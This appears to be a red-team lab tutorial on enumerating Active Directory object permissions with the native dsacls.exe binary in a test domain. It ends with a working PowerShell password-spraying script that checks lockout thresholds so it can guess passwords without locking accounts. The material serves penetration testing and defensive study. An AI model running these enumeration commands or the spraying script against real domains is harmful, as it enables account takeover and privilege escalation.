Powered By GitBook
Enumerating AD Object Permissions with dsacls
Enumeration, living off the land
It is possible to use a native windows binary (in addition to powershell cmdlet Get-Acl) to enumerate Active Directory object security persmissions. The binary of interest is dsacls.exe.
Dsacls allows us to display or modify permissions (ACLS) of an Active Directory Domain Services (AD DS).

Execution

Let's check if user spot has any special permissions against user's spotless AD object:
1
dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot"
Copied!
Nothing useful:
Let's give user spot Reset Password and Change Password permissions on spotless AD object:
...and try the command again:
1
dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot"
Copied!

Full Control

All well known (and abusable) AD object permissions should be sought here. One of them is FULL CONTROL:
1
dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "full control"
Copied!

Add/Remove self as member

1
dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" | select-string "spotless"
Copied!

WriteProperty/ChangeOwnerShip

Enumerating AD object permissions this way does not come in a nice format that can be piped between powershell cmd-lets, but it's still something to keep in mind if you do not the ability to use tools like powerview or ActiveDirectory powershell cmdlets or if you are trying to LOL.
For more good privileges to be abused:

Password Spraying Anyone?

As a side note, the dsacls binary could be used to do LDAP password spraying as it allows us to bind to an LDAP session with a specified username and password:
incorrect logon
1
dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:[email protected].local /passwd:1234567
Copied!
Logon Failure
correct logon
1
dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:[email protected].local /passwd:123456
Copied!
Logon Successful

Dirty POC idea for Password Spraying:

1
$domain = ((cmd /c set u)[-3] -split "=")[-1]
2
$pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1]
3
$lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1]
4
$password = "123456"
5
6
# (Get-Content users.txt)
7
"krbtgt","spotless" | % {
8
$badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcount
9
if ($badPwdCount -lt $lockoutBadPwdCount - 3) {
10
$isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:[email protected].local /passwd:$password | select-string -pattern "Invalid Credentials"
11
if ($isInvalid -match "Invalid") {
12
Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red
13
} else {
14
Write-Host "[+] Working Credentials for $_ : $password" -foreground green
15
}
16
}
17
}
Copied!

References

https://support.microsoft.com/en-gb/help/281146/how-to-use-dsacls-exe-in-windows-server-2003-and-windows-2000
support.microsoft.com
Last modified 2yr ago